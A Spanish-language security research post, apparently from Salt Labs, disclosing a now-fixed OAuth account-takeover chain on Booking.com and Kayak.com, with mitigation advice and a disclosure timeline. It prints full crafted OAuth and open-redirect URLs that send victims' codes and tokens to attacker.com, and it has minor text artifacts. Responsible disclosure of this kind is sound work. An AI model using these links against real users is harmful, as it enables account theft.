OAuth (Autorización Abierta) es un estándar de autorización moderno y abierto diseñado para permitir la delegación de acceso entre aplicaciones; por ejemplo, permitir que su aplicación lea datos de su perfil de Facebook. Combinado con las extensiones adecuadas, OAuth también puede utilizarse para la autenticación; por ejemplo, para iniciar sesión en su aplicación utilizando credenciales de Google.
Desde su primera introducción en 2006, OAuth ha ganado una enorme popularidad. Estudios recientes muestran que aproximadamente el 90% de los usuarios prefieren el inicio de sesión social a la tradicional inscripción por correo electrónico en los sitios web. Dada la amplia utilización de OAuth, cualquier vulnerabilidad encontrada en sus componentes o en sus implementaciones puede tener un impacto de seguridad considerable en las aplicaciones y servicios que los utilizan.
La toma de control de cuentas basada en OAuth es un método clásico de ataque a las API; este eBook explica cómo funcionan los ataques a las API y por qué eluden las herramientas tradicionales.
Esta publicación es la primera de una serie que pretende describir estos problemas en profundidad, con ricos detalles técnicos, y compartir casos de uso reales que destacan estos errores y su impacto potencial. Para esta publicación inicial, describimos un problema de implementación de OAuth que los investigadores de Salt Labs pudieron encontrar en Booking.com, una empresa con 16 mil millones de dólares en ingresos anuales.
En cuanto a los problemas de OAuth que encontramos, si un actor malintencionado los hubiera descubierto y explotado con éxito, ese atacante podría haber tomado el control de las cuentas de los usuarios que iniciaban sesión a través de Facebook. Una vez dentro, el atacante podría haber realizado cualquier acción en nombre de los usuarios comprometidos y obtener visibilidad total de la cuenta, incluida toda la información personal del usuario. Nuestra investigación descubrió que los atacantes podrían entonces usar el inicio de sesión comprometido de booking.com para también iniciar sesión en la empresa hermana Kayak.com.
Todos los problemas descritos en esta publicación han sido revelados a Booking.com, y la compañía actuó muy rápidamente para abordarlos y mitigarlos por completo. Queremos aprovechar esta oportunidad para agradecer a Booking.com su enfoque profesional y su cooperación con Salt Labs en este asunto. Booking.com proporcionó el siguiente comentario:
"Al recibir el informe de Salt Security, nuestros equipos investigaron de inmediato los hallazgos y establecieron que no había habido ninguna vulneración en la plataforma de Booking.com, y la vulnerabilidad se resolvió rápidamente. Nos tomamos la protección de los datos de los clientes con extrema seriedad. No solo manejamos todos los datos personales de acuerdo con los más altos estándares internacionales, sino que innovamos continuamente nuestros procesos y sistemas para garantizar una seguridad óptima en nuestra plataforma, al tiempo que evaluamos y mejoramos las sólidas medidas de seguridad que ya tenemos implementadas. Como parte de este compromiso, damos la bienvenida a la colaboración con la comunidad de seguridad global, y nuestro Programa de Recompensas por Errores debería utilizarse en estos casos."
El siguiente breve video ofrece una visión general visual de cómo los investigadores de Salt Labs lograron secuestrar el proceso de inicio de sesión de OAuth.
Entremos en los detalles.
¿Qué es OAuth?
OAuth 2.0 es un marco de trabajo de uso común que permite a los usuarios autorizar a aplicaciones de terceros a acceder a sus recursos sin compartir sus contraseñas. Por ejemplo, puede autorizar a Slack a acceder a su calendario de Google para que sus colegas puedan ver cuándo está en reuniones.
OAuth no fue concebido originalmente como un marco de autenticación, pero ha surgido como un mecanismo de autenticación ampliamente utilizado para los usuarios con la función de inicio de sesión social —la opción de "iniciar sesión con Google/Facebook" que ve en sitios y aplicaciones—. Muchos sitios web y aplicaciones de comercio electrónico utilizan OAuth, por ejemplo, para permitir a los usuarios autenticar su cuenta y realizar compras sin tener que introducir sus credenciales varias veces.
Puede que hayas oído hablar de «OpenID Connect» para la autenticación; es un concepto similar y se basa en OAuth.
Una brecha de seguridad en OAuth puede conducir al robo de identidad, fraude financiero y acceso a todo tipo de información personal, incluyendo números de tarjetas de crédito, mensajes privados, historiales médicos y más. El año pasado, muchos blogs interesantes describieron la toma de control de cuentas en los flujos de inicio de sesión de OAuth, como «Dirty Dancing» de Frans Rosen y el blog de Youssef Sammouda, cuyos hallazgos le valieron un premio de 44.625 $ de Facebook. Estos blogs y otros ofrecen información valiosa sobre el funcionamiento interno de OAuth y los riesgos potenciales asociados a él.
¿Cómo funciona OAuth para la autenticación?
Empecemos con un diagrama sencillo y no técnico:
Expliquemos los pasos, uno por uno:
1. Entras en Randomsite.com y haces clic en «Iniciar sesión con Facebook».
2. Randomsite.com abrirá una nueva ventana a Facebook.
3. Si es tu primera vez en Randomsite.com, Facebook te pedirá que des permiso. De lo contrario, Facebook te autenticará automáticamente.
4. Después de hacer clic en «Continuar como John», Facebook generará un token secreto. Este token es privado para Randomsite.com, y asociado a tu perfil de Facebook.
5. Facebook te redirige de vuelta a Randomsite.com con este token.
6. Randomsite.com usa el token para comunicarse directamente con Facebook y obtener tu dirección de correo electrónico.
7. Facebook aprueba que este es realmente john@gmail.com, y Randomsite.com puede iniciar su sesión.
Y ahora, profundicemos en más detalles, añadiendo URLs al diagrama:
En los pasos 2-3:
Después de que John hace clic en iniciar sesión con Facebook, Randomsite.com abre una nueva ventana a la siguiente dirección:
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://randomsite.com/OAuth&scope=email&client_id=1501&state=[random_value]&response_type=token.
Observa el parámetro redirect_uri: le indica a Facebook dónde enviar el token en los pasos 4-5.
En los pasos 4-5:
Facebook prepara un token secreto para Randomsite.com (el parámetro client_id le indica a Facebook que la solicitud proviene de randomsite.com) y redirige tu navegador de vuelta a redirect_uri. La redirección exacta:
https://randomsite.com/OAuth#token=[secret_token]]&state=[Random_Value]
En los pasos 6-7:
Randomsite.com lee el token de la URL y lo utiliza para comunicarse directamente con Facebook usando la siguiente API:
https://graph.facebook.com/me?fields=id,name,email&access_token=[secret_token].
La respuesta es john@gmail.com.
El flujo del ejemplo se denomina “tipo de concesión implícita”, que es común en aplicaciones de una sola página y aplicaciones de escritorio nativas que no tienen un backend. Aunque podría usar un ejemplo sin un backend (sin Randomsite.com), decidí combinar un tipo de concesión implícita con un backend porque es más fácil de entender.
Google, Apple y otros proveedores conocidos siguen un flujo similar. Un método más reciente aprovecha la función PostMessage en lugar de una redirección, pero no abordaremos ese caso de uso en esta publicación. El uso de la redirección sigue siendo el enfoque más común.
Implementación de OAuth en Booking.com
Por qué Booking.com
Booking.com, parte de Booking Holdings, una empresa de Fortune 500, es una de las plataformas de reserva de hoteles más populares y utilizadas. La empresa cuenta con más de 15.000 empleados y genera 16.000 millones de dólares en ingresos anuales.
Como cliente satisfecho de Booking.com, he utilizado la plataforma muchas veces para reservar vacaciones. Como investigador de seguridad, quise echar un vistazo a la implementación de OAuth antes de que lo hiciera un hacker malintencionado.
Cómo funciona OAuth en Booking.com
El flujo es muy similar al ejemplo con Randomsite.com, excepto que incluye un nuevo paso, que hemos marcado en rojo:
Paso 1: En Booking.com, haces clic en “Iniciar sesión con Facebook.”
Pasos 2-3:
Booking abre el siguiente enlace: https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/social/result/facebook&scope=email&client_id=210068525731476&state=[large_object]&response_type=code.
Ten en cuenta que el tipo de respuesta es un código en lugar de un token, como vimos en el ejemplo de Randomsite.com.
Un código es un valor temporal que debe intercambiarse por un token. Esto añade una capa adicional de seguridad, como explicaré en los pasos 6-7.
Pasos 4-5:
Facebook te autentica y te redirige de nuevo a booking.com con un código.
https://account.booking.com/social/result/facebook?code={code}&state=[large_object]
Tenga en cuenta que el código se pasó a account.booking.com en un parámetro de consulta (?code=) en lugar de un fragmento de hash (#token=) como en el ejemplo de Randomsite.com. Explicaremos más sobre este problema más adelante.
Pasos 6-7:
Para obtener un token, booking.com necesita intercambiar el código por un token utilizando la siguiente API de Facebook:
Este paso solo puede ser realizado por Booking.com porque implica un {app-secret} que solo Booking.com conoce. El código es de un solo uso, es decir, solo se puede intercambiar una vez. Este enfoque es más seguro: si un atacante roba el código, es casi imposible explotarlo.
Pasos 8-9:
Como vimos en Randomsite.com, Booking.com utiliza la API de Facebook para obtener información sobre usted, como su dirección de correo electrónico. Si Booking.com tiene una cuenta que utiliza este correo electrónico, entonces Booking le inicia sesión en esta cuenta existente.
Este flujo, común en casi todos los sitios modernos, se denomina “concesión de código de autorización” o “flujo explícito de OAuth”.
Secuestro de cuenta en Booking.com
En OAuth, el objetivo del atacante es robar el token o el código de la víctima. En el caso de Booking, el foco está en el código. Mi metodología general en la investigación de OAuth es provocar comportamientos inesperados en el flujo cambiando cada parámetro que puedo, para ver cómo estas manipulaciones me acercan a la capacidad de lanzar un ataque exitoso.
Pude encadenar tres problemas de seguridad diferentes, que explicaré en detalle, para permitir la toma de control total de la cuenta en Booking.com.
Brecha de seguridad 1 — no permitir una ruta única
Al manipular algunos de los pasos en la secuencia de OAuth para este sitio, pude obtener información útil e iniciar un camino de manipulación.
En el paso 1, cambié el redirect_uri a una ruta diferente y envié este enlace a una víctima:
Tenga en cuenta que no podemos cambiar el origen (account.booking.com) porque Facebook generará un error: no coincide con el origen predefinido proporcionado por Booking.com.
Cuando Booking.com se registró en Facebook, proporcionaron un origen predefinido para la redirect_uri, pero no proporcionaron una ruta exacta. Por lo tanto, Facebook solo puede validar el origen antes de que ocurra la redirección.
Paso 4: Este enlace redirigirá a la víctima a:
Podemos enviar el código a cualquier ruta que queramos, así que ahora buscamos una forma de enviar el código a otro origen/dominio que controlemos.
Brecha de seguridad 2 — redirección abierta
En este punto, necesitaba una ruta en booking.com que redirigiera a la víctima a mi dominio controlado. Esa es la definición de una vulnerabilidad de redirección abierta.
Empiezo a explorar funciones en Booking.com y encuentro algo interesante en "Mi Panel de Control":
Al hacer clic en "añadir un nombre para mostrar", apunta a la siguiente URL:
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9
Esa URL redirige automáticamente al usuario a: https://account.booking.com/mysettings/personal. ¿Puedes adivinar cómo?
Inmediatamente noto que la state variable contiene una cadena JSON en base64: eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9.
Decodifiquémoslo:
Parece que Booking utiliza `mysettings_path` para determinar cómo redirigir al usuario.
Codifiquemos el siguiente JSON:
Reemplazamos el estado en el enlace original y enviamos a la víctima el nuevo enlace:
El enlace redirige automáticamente a la víctima a un enlace más corto (lo omití antes):
Y luego a:
https://attacker.com/index.php
Es posible que hayas visto la palabra "OAuth" o "redirect_uri" en el enlace de redirección abierta. Asumo que es una implementación interna de OAuth en Booking.com. No está relacionado con Facebook ni con el `redirect_uri` de la brecha de seguridad 1.
Ahora tenemos un error de redirección abierta en booking.com.
Brecha de seguridad 1 + 2 = Intento de toma de control de cuenta
El enlace a Facebook de la brecha de seguridad 1 (donde podemos enviar el código a cualquier ruta que queramos):
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/cualquier/ruta/que/queramos&scope=email&client_id=210068525731476&state=large_object]&response_type=code
+
El enlace de redirección abierta de la brecha de seguridad 2 (redirección a www.attacker.com) es:
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ
=
Insertemos el enlace de redirección abierta en el redirect_uri de la brecha de seguridad 1:
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=code&client_id=210068525731476
Enviamos este enlace a la víctima.
Cambiando el tipo de respuesta
Si la víctima hace clic en el enlace tal cual, Facebook redirige al usuario a la URL de la brecha de seguridad 2, con un código:
Es la URL con la redirección abierta (el estado eyJteXN… apunta a attacker.com), por lo que Booking redirige a la víctima a: https://attacker.com/index.php.
Sin embargo, en una redirección, solo los valores después de '#' (fragmentos de hash) son pasados por el navegador. El código, que se pasó como parámetro de consulta (?=code=), no fue enviado a attacker.com (no aparece en la redirección a https://attacker.com/index.php).
Al cambiar el tipo de respuesta de “code” a “code, token”, Facebook enviará tanto el código como el token en el fragmento de hash. Es una característica :)
La razón: dado que un token de acceso es un valor supersensible en OAuth, usar el fragmento de hash es un enfoque más seguro. No se envía al lado del servidor y no aparece en los registros; solo el código JavaScript puede leerlo. (Para más información sobre este detalle, puedes buscar en Google “OAuth implicit grant”.)
Resumen del flujo:
Paso 1: El atacante envía a la víctima el siguiente enlace:
Pasos 2 y 3: Después de que la víctima hace clic en el nuevo enlace (con response type=code,token), Facebook automáticamente redirige al usuario a la URL de la brecha de seguridad 2 con un código en el fragmento hash:
Pasos 4 y 5: Es la URL con la redirección abierta (el estado apunta a attacker.com), por lo que Booking redirige a la víctima a: https://attacker.com/index.php
Paso 6: El navegador añade el código al fragmento hash y redirige a la víctima a:
Opcional: Veamos el código fuente de attacker.com/index.php:
Index.php — un código javascript que lee la URL y la envía a save.php.
Save.php — guarda las entradas en un archivo de registro.
(Generé el código con sanppify.com)
Intento de toma de control de cuenta 1
En este punto, tenemos el código de la víctima. Nosotros (como atacantes) necesitamos iniciar un nuevo flujo de inicio de sesión y reemplazar nuestro código con el código de la víctima. Hacemos clic de nuevo en "Iniciar sesión con Facebook" e iniciamos sesión con nuestra cuenta.
En el flujo normal, después de que Facebook nos autentica, nos redirige a Booking con nuestro código:
Interceptamos esta solicitud. Reemplazamos el código con el código robado de la víctima:
Booking.com debería intercambiar el código por un token y obtener la información del perfil de la víctima.
¿Qué devuelve? Esperen…
“Código inválido”
No pasa nada. ¿Qué me perdí?
Depurando el fallo de la apropiación de cuenta — ¿qué se nos escapó?
Según la documentación de Facebook, para intercambiar el código por un token, Booking.com, en el backend, debería usar esta API:
En la documentación, Facebook escribió: “Este argumento (redirect_uri) debe ser el mismo que el original que usaste al iniciar el proceso de inicio de sesión de OAuth”.
Iniciamos el proceso de inicio de sesión de OAuth con este enlace:
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGg6Imh0dHBzOi8vYXR0YWNrZXIuY29tL2luZGV4LnBocCIsImFpZCI6IjEyMyJ9&scope=email&response_type=token,code&client_id=210068525731476
En este caso, la original redirect_uri está marcada en morado. Este enlace es el enlace de redirección abierta de la brecha de seguridad 2.
Sin embargo, en el backend, cuando Booking intercambia el código por un token usando la /oauth/access_token API, envía a Facebook el valor fijo “https://account.booking.com/social/result/facebook” como el redirect_uri. Este es el redirect_uri que Booking utiliza en el flujo normal.
En el mismo flujo de OAuth, Facebook recibió dos redirect_uri diferentes, sospechó y, por lo tanto, arrojó un error.
Hallazgo de la brecha de seguridad 3
En este punto, no pude encontrar una solución en la web, así que decidí investigar la aplicación móvil de Booking.com. Utilicé Android Studio, Frida (para eludir el SSL pinning) y un descompilador para leer el código responsable de OAuth en esa aplicación.
Para interceptar la solicitud entre la aplicación móvil y el backend de Booking.com, utilicé Burp.
El diagrama de intercambios en la aplicación móvil es un poco confuso; puedes centrarte solo en el Paso 6:
El flujo de OAuth en la aplicación móvil tiene una diferencia importante con respecto al flujo en el sitio web: el Paso 6.
Pasos 3 a 6: El código se pasó a la aplicación móvil, y luego la aplicación móvil lo envió a Booking.com. Para ser más exactos, el código se pasó a Chrome->Booking.com->AplicaciónMóvil->Booking.com [SEG SEGMENT 10] No estoy seguro de por qué es necesario este ping-pong.
Paso 6: La aplicación móvil pasa el código a Booking.com mediante una solicitud POST:
Presta atención a resultUri. ¿Puedes adivinar qué hace Booking con él?
Si Booking.com utiliza resultURi como el redirect_uri para intercambiar el código por un token, y podemos controlar este valor, entonces podemos eludir la validación de Facebook.
El redirect_uri original que utilizamos para el ataque es:
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=
eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQEn resumen, como atacantes, necesitamos:
Iniciar sesión en Booking.com, desde la aplicación móvil del atacante, con la cuenta del atacante.
- Interceptar la solicitud en el Paso 6.
- Reemplazar nuestro código con el código robado de la víctima.
- Reemplace resultURi con el enlace que usamos para el ataque (booking.com/state=eyJteXn..)
Enviamos esa solicitud a Booking.com, y… fin del juego. Podemos iniciar sesión en la cuenta de la víctima.
(En el video, el atacante usa Mac para el ataque, la víctima usa Windows.)
(Nota: En la brecha de seguridad 2, tenía dos enlaces que causaban una redirección. En el video, usé el enlace más corto.)
¿Qué sigue?
Creamos un enlace que permite tomar el control de cualquier cuenta de Booking.com que use Facebook. El enlace en sí apunta a un dominio legítimo de facebook.com o booking.com , lo que dificulta su detección (manual o automática). El siguiente paso es verificar el impacto en otros sitios de Booking como Kayak.com y en otros métodos de inicio de sesión como Google.
Toma de control de cuenta en Kayak.com
Es una funcionalidad. Si tenemos acceso a la cuenta de la víctima en Booking.com, también deberíamos tener acceso a Kayak.com, ya que permite a los usuarios identificarse usando su cuenta de Booking.com. Probamos esta teoría y funcionó.
Inicio de sesión con Google
La vulnerabilidad reside en la integración entre Facebook y Booking.com. Sin embargo, es posible iniciar sesión en una cuenta de Booking.com usando Facebook incluso si esa cuenta fue creada usando Google u otro método de inicio de sesión.
Para comprobarlo, enviamos un enlace a un usuario que estaba autenticado con Google. Durante el exploit, Facebook solicitó (de forma muy legítima, la víctima no tiene motivos para sospechar) permitir el acceso a Booking.com, y luego el código fue pasado a nuestro dominio. Dado que el código de la víctima está asociado con la dirección de correo electrónico de la víctima, Booking.com lee la dirección de correo electrónico del código (/token) y conecta al usuario con la cuenta relevante que tiene este correo electrónico.
Impacto empresarial potencial
Esta mala configuración de OAuth tiene un impacto significativo tanto en la empresa como en sus clientes. Un atacante podría realizar solicitudes no autorizadas en nombre de una víctima, cancelar reservas existentes o acceder a información personal sensible como el historial de reservas, preferencias personales y futuras reservas. El sitio también permite alquilar coches o pedir taxis.
Cómo mitigar esta amenaza:
La vulnerabilidad descrita en este documento es una combinación de tres brechas de seguridad menores. La mayor parte de la atención se centra en la primera brecha de seguridad, que permite al atacante elegir otra ruta para la redirect_uri.
Cuando se realiza una integración con Facebook u otro proveedor, es extremadamente importante proporcionar rutas predefinidas para la redirect_uri en la configuración de Facebook. Como se vio en el documento, solo el origen no es suficiente.
La brecha de seguridad 3 también está relacionada con la redirect_uri. Este valor no debe obtenerse de la entrada del usuario.
Booking.com — Una solución rápida
Las vulnerabilidades de seguridad pueden ocurrir en cualquier sitio web, y la respuesta es lo que importa. Reportamos todo a Booking.com, y el equipo pudo solucionar estas brechas de seguridad muy rápidamente. Nos complació el compromiso de Booking.com con la seguridad y la disposición de la empresa para tomar medidas rápidas para proteger la información personal de sus usuarios. Al solucionar el problema, Booking.com podría haber evitado una brecha de seguridad a manos de hackers malintencionados.
Para obtener más información sobre cómo Salt puede ayudar a defender a su organización de los riesgos de las API, puede contactar con un representante o programar una demostración personalizada.
Cronología de la divulgación
Seguimos la siguiente cronología en este proceso de divulgación coordinada. Una vez más, agradecemos a Booking.com por actuar tan rápidamente para resolver estas vulnerabilidades críticas.
- Salt Labs descubre las brechas de seguridad n.º 1 y n.º 2: 10 de noviembre de 2022
- Salt Labs descubre todas las brechas de seguridad con toma de control de cuentas: 21 de noviembre de 2022
- Salt Labs establece el primer contacto con Booking.com: 27 de noviembre de 2022
- Salt Labs revela los detalles técnicos al equipo de seguridad de Booking.com: 4 de diciembre de 2022
- Salt Labs confirma que los exploits ya no funcionan y que las brechas de seguridad han sido resueltas: 26 de diciembre de 2022
- El equipo de seguridad de Booking.com confirma la divulgación de seguridad, que el equipo ha solucionado los problemas y que el equipo ha validado que los problemas se solucionaron correctamente: 12 de enero de 2023
- El equipo de marketing de Salt Security comparte un comunicado de prensa y un artículo de blog con el equipo de medios de Booking.com: 19 de febrero de 2023
- Booking.com envía un comentario formal para ser incluido en el blog de investigación de vulnerabilidades: 24 de febrero de 2023